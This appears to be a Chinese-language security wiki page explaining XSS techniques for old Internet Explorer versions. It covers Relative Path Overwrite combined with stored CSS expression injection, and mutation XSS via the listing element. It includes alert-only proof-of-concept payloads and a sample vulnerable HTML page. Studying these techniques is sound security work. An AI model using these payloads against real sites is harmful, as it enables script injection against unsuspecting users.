作者 修订时间
wjlin0 2023-08-06 20:16:36
作者 修订时间
wjlin0 2023-08-06 20:12:56

具有相对路径覆盖的 XSS-IE 8/9 及更低版本

您需要这 3 个组件

1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css

一个小例子

http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>

漏洞的解释

Meta 元素强制 IE 的文档模式与执行表达式所需的 IE7 兼容。我们的持久文本{} * { xss:expression(open(alert(1)))包含在页面上,在实际情况下,它将是一个配置文件页面,或者可能是其他用户可以查看的共享状态更新。我们使用“open”来防止重复执行警报的客户端 DoS。 一个简单的“rpo.php/”请求使相对样式将页面本身加载为样式表。实际的请求是“/labs/xss_horror_show/chapter7/rpo.php/styles.css”,浏览器认为还有另一个目录,但实际的请求被发送到文档,这本质上就是 rpo 攻击的工作方式。

演示 1 位于 http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php 演示 2 位于 http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3 多浏览器:

发件人: http://www.thespanner.co.uk/2014/03/21/rpo/

浏览器 IE8/IE9 的变异 XSS

<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script>

IE 将多次读取和写入(解码)HTML,攻击者 XSS 负载将发生变异并执行。

参考文献

results matching ""

    No results matching ""